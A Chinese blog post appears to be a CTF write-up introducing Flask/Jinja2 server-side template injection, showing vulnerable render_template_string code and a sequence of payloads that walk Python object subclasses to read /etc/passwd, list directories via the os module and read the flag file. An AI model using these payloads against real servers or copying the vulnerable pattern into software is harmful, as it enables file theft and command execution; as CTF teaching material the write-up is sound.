由攻防世界题目入门Flask SSTI

前言

早该学学了。

基础知识

route

路由(route)将url和函数绑定起来,实现特定的功能,比如:

@app.route("/index")
def hello():
    return "Hello!"

我们在访问/index目录时,页面上就会显示"Hello!"字样。我们把返回值改成html语句还可以实现样式的特定,比如"<h1>Hello!</h1>"可以显示一级标题"Hello!"。

渲染

Flask使用jinja2引擎进行渲染,主要有两种方法:render_template和render_template_string。

render_template

用于渲染文件,比如:

@app.route("/index")
def hello():
    return render_template('index.html')

在访问/index目录的时候,就会渲染index.html网页并显示出来。

render_template_string

用于渲染字符串,比如:

@app.route("/index")
def hello():
    return render_template_string('<h1>Hello!</h1>')

在访问/index目录时,会将传入的参数字符串当作html语句进行网页渲染。

模板变量

jinja2使用{{}}作为变量占位符,例如:

@app.route("/index")
def hello():
    return render_template('index.html', var='hello')

当我们访问/index时,jinja2会渲染index.html网页,同时把var的参数传入index.html中的var变量中,index.html的代码可以是这样:

<h1>{{var}}</h1>

所以最后渲染出的页面是一级标题"hello"。

{{}}不仅可以用于传递变量,还可以用于执行表达式,比如传入{{1+1}},页面会显示2。

这里有一点需要注意

@app.route("/index")
def hello():
    s = "<h1>%s</h1>" % var
    return render_template_string(s)

我们可以通过操控var的值来操控s的值,所以我们可以构造语句造成漏洞,比如构造xss语句。下面这个不太一样:

@app.route("/index")
def hello():
    return render_template_string('<h1>{{var}}</h1>', var=var)

如果我们构造xss语句传入var,会被转成普通文本显示在网页上,而不是当作代码执行,这是因为render一般都会将传入的变量进行编码转义,来规避漏洞语句的攻击。

漏洞利用

以攻防世界上的Web_python_template_injection题目为例,简单了解漏洞的利用方式。

判断是否有注入点

http://111.200.241.244:55104/{{1+1}}

{{}}中的内容被当作表达式执行,说明存在注入点。

查看全局变量

http://111.200.241.244:55104/{{config}}

{{config}}可以查看全局变量,目前不清楚有什么用处。

补充:今天做bugku的Simple_SSTI用到了,flag藏在某一个全局变量中了。

一些用到的魔术变量和魔术方法

__class__:实例所属的对象,例如''.__class__返回<type 'str'>

__mro__:用来获取类的调用顺序,例如''.__class__.__mro__返回:

__subclasses__():获取类的所有子类,例如''.__class__.__mro__[1].__subclasses__()返回:

即basestring类有两个子类:str和unicode。

__init__:类的初始化方法(构造方法)

__globals__:对保存函数全局变量的字典的引用,可以看到函数全局可读的量。

利用方式

文件读取

刚才我们已经了解了,对于object类的可用引用可以这样列出来:

''.__class__.__mro__[2].__subclasses__()

看到左侧有一个<type 'file'>,我们可以利用它来进行文件读取(40是file所在位置):

''.__class__.__mro__[2].__subclasses__()[40]()

上面的代码其实就相当于file(),用于创建一个file实例,比如:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

上面的代码相当file('/etc/passwd').read(),用于读取/etc/passwd的内容(这个文件在之前的日志注入时见过)。

命令执行

这次我们不用file,在71位置有一个<class 'site.Printer'>,可用于命令执行(因为这个类包含os模块):

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__

首先调用了初始化函数init,之后用globals调出全局变量,寻找os模块。

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']

我们可以利用os模块进行命令执行了,列出当前目录下文件("."表示当前路径):

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir(".")

注意!我们是使用python的os模块进行命令执行,不是php也不是cmd,所以不要去尝试什么ls,没有用的,os模块里没有。

接下来我们就可以使用刚刚的文件读取方法来读取fl4g的内容了:

''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()

成功读取flag。

总结

首先判断是否存在注入,通常办法是在{{}}中嵌入表达式,观察是否执行。

读取文件是创建file实例,并使用内置的read函数读取文件内容;命令执行是利用python的os模块执行命令。想要熟练掌握SSTI,需要对python的相关知识有较深的了解。

posted @   Cr4zysong11  阅读(103)  评论(0编辑  收藏  举报
(评论功能已被禁用)
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示